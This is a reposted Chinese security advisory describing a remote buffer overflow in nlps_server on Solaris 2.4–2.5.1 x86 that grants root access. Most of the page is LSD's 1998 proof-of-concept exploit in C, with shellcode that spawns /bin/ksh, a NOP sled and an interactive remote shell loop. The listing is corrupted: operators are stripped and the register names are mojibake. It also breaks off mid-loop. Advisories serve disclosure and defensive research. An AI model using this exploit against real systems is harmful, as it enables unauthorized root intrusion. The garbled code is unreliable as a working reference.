Solaris x86 nlps_server远程缓冲区溢出漏洞

2008-04-09 04:31:49来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

Solaris x86 nlps_server远程缓冲区溢出漏洞

发布日期:1998-04-01
更新日期:2001-01-30

受影响系统:
Sun nlps_server 1.0
- Sun Solaris 2.5.1 x86
- Sun Solaris 2.5 x86
- Sun Solaris 2.4 x86
描述:
BUGTRAQ ID: 2319

Solaris 2.4、2.5和2.51的x86版本的nlps_server存在一个缓冲区溢出漏洞。

nlps_server安装后会在2766端口监听,远程攻击者可以利用这个缓冲区溢出漏洞获得root访问权限。

<*来源:LSD (contact@lsd-pl.net)
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

LSD(contact@lsd-pl.net) 提供了如下测试程序:

/*## copyright LAST STAGE OF DELIRIUM apr 1998 poland *://lsd-pl.net/ #*/
/*## listen/nlps_server #*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

#define ADRNUM 256
#define NOPNUM 64 46 7 4

char adr[4]="\x30\x79\x04\x08";

char shellcode[]=
"\xeb\x1b" /* jmp <shellcode 30> */
"\x33\xd2" /* xorl 韝,韝 */
"\x58" /* popl 陎 */
"\x8d\x78\x14" /* leal 0x14(陎),edi */
"\x52" /* pushl 韝 */
"\x57" /* pushl 韎 */
"\x50" /* pushl 陎 */
"\xab" /* stosl 陎,%es:(韎) */
"\x92" /* xchgl 陎,韝 */
"\xab" /* stosl 陎,%es:(韎) */
"\x88\x42\x08" /* movb %al,0x8(韝) */
"\x83\xef\x3c" /* subl $0x3c,韎 */
"\xb0\x9a" /* movb $0x9a,%al */
"\xab" /* stosl 陎,%es:(韎) */
"\x47" /* incl 韎 */
"\xb0\x07" /* movb $0x7,%al */
"\xab" /* stosl 陎,%es:(韎) */
"\xb0\x3b" /* movb $0x3b,%al */
"\xe8\xe0\xff\xff\xff" /* call <shellcode 2> */
"/bin/ksh"
;

main(int argc,char **argv){
char buffer[1024],*b;
int sck,i;
struct sockaddr_in address;
struct hostent *hp;

printf("copyright LAST STAGE OF DELIRIUM apr 1998 poland //lsd-pl.net/\n");
printf("listen/nlps_server for solaris 2.4 2.5 2.5.1 x86\n\n");

if(argc!=2){
printf("usage: %s address\n",argv[0]);exit(1);
}
sck=socket(AF_INET,SOCK_STREAM,0);
bzero(&address,sizeof(address));
address.sin_family=AF_INET;
address.sin_port=htons(2766);
if((address.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
printf("error: address.\n");exit(-1);
}
memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
}
if(connect(sck,(struct sockaddr *)&address,sizeof(address))<0){
perror("error");exit(-1);
}

sprintf(buffer,"NLPS:002:002:");
b=&buffer[13];
for(i=0;i<ADRNUM;i ) *b =adr[i%4];
for(i=0;i<NOPNUM;i ) *b =0x90;
for(i=0;i<strlen(shellcode);i ) *b =shellcode[i];
*b=0;

for(i=0;i<(14 ADRNUM NOPNUM strlen(shellcode) 1);i )
printf("x",(unsigned char)buffer[i]);
fflush(stdout);

write(sck,buffer,14 ADRNUM NOPNUM strlen(shellcode) 34 1);
write(sck,"yahoo...\n",9);

while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Linux pam 远程拒绝服务漏洞

下一篇:Netopia R9100 路由器本地拒绝服务漏洞